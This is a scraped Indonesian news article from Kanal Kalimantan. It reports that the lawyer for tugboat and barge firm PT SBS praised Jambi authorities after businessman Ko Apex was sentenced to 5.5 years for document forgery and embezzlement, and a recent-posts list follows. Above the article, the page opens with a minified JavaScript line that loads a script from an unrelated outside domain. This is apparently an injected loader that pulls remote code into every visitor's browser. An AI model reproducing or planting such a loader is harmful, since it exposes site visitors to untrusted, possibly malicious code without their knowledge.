(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kasus Pemalsuan Dokumen Tongkang PT SBS, Kuasa Hukum Apresiasi Penegak Hukum


KANALKALIMANATAN.COM, BANJARMASIN – Akhmad Junaidi SH MH, kuasa hukum PT Sinar Bintang Samudera (SBS), perusahaan penyedia tugboat dan tongkang asal Banjarmasin mengapresiasi kinerja aparat penegakan hukum dalam penanganan laporan mereka.

Terkait kasus penggelapan dalam jabatan dan pemalsuan dokumen yang melibatkan Afrandi Susilo alias Ko Apex, dimana perkara telah vonis di Pengadilan Negeri (PN) Jambi.

Ko Apex divonis 5,5 tahun penjara oleh hakim PN Jambi karena terbukti melakukan pemalsuan dokumen dan penggelapan jabatan. Pasal 263 ayat (1) KUHP jo pasal 55 ayat (1) ke 1 KUHP sebagaimana dakwaan kesatu dan pasal 374 KUHP sebagaimana dalam dakwaan kedua primer.

Baca juga: Dilema Masyarakat Dayak Meratus dan Janji-Janji Politik Lingkungan

Junaidi mengapresiasi kinerja Polda Jambi yang menangani laporan mereka, Kejaksaan Tinggi (Kejati) Jambi yang telah melakukan penuntutan dan PN Jambi yang mengadili perkara tersebut.

“Terima kasih kepada Kejati Jambi yang sudah berani menuntut 6 tahun, dan saya bangga PN Jambi yang sudah memvonis setimpal kepada terdakwa,” kata Junaidi kepada awak media di Banjarmasin, Rabu (4/12/2024) siang.

Pada kesempatan itu, pengacara asal Banjarmasin ini memastikan tak ada intervensi dari pihak manapun dalam kasus ini. Dan menegaskan bahwa pihaknya dalam kasus ini merupakan korban. “Kita hanya pihak korban yang minta keadilan,” tegas Junaidi.

Baca juga: 12 Mahasiswa Ikuti Pemilihan Duta Baca Dispersip Banjar

Seperti diketahui, Ko Apex seorang pengusaha asal Jambi dilaporkan atas tuduhan penggelapan dan pemalsuan dokumen.

Kasus ini dilaporkan oleh PT SBS, perusahaan yang bergerak penyewaan tugboat dan tongkang yang berpusat di Banjarmasin. Laporan dilayangkan sebab korban pemilik perusahaan mengaku mengalami kerugiaan miliaran rupiah. (Kanalkaliantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

2 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

2 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

3 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

3 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

3 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

4 jam ago

This website uses cookies.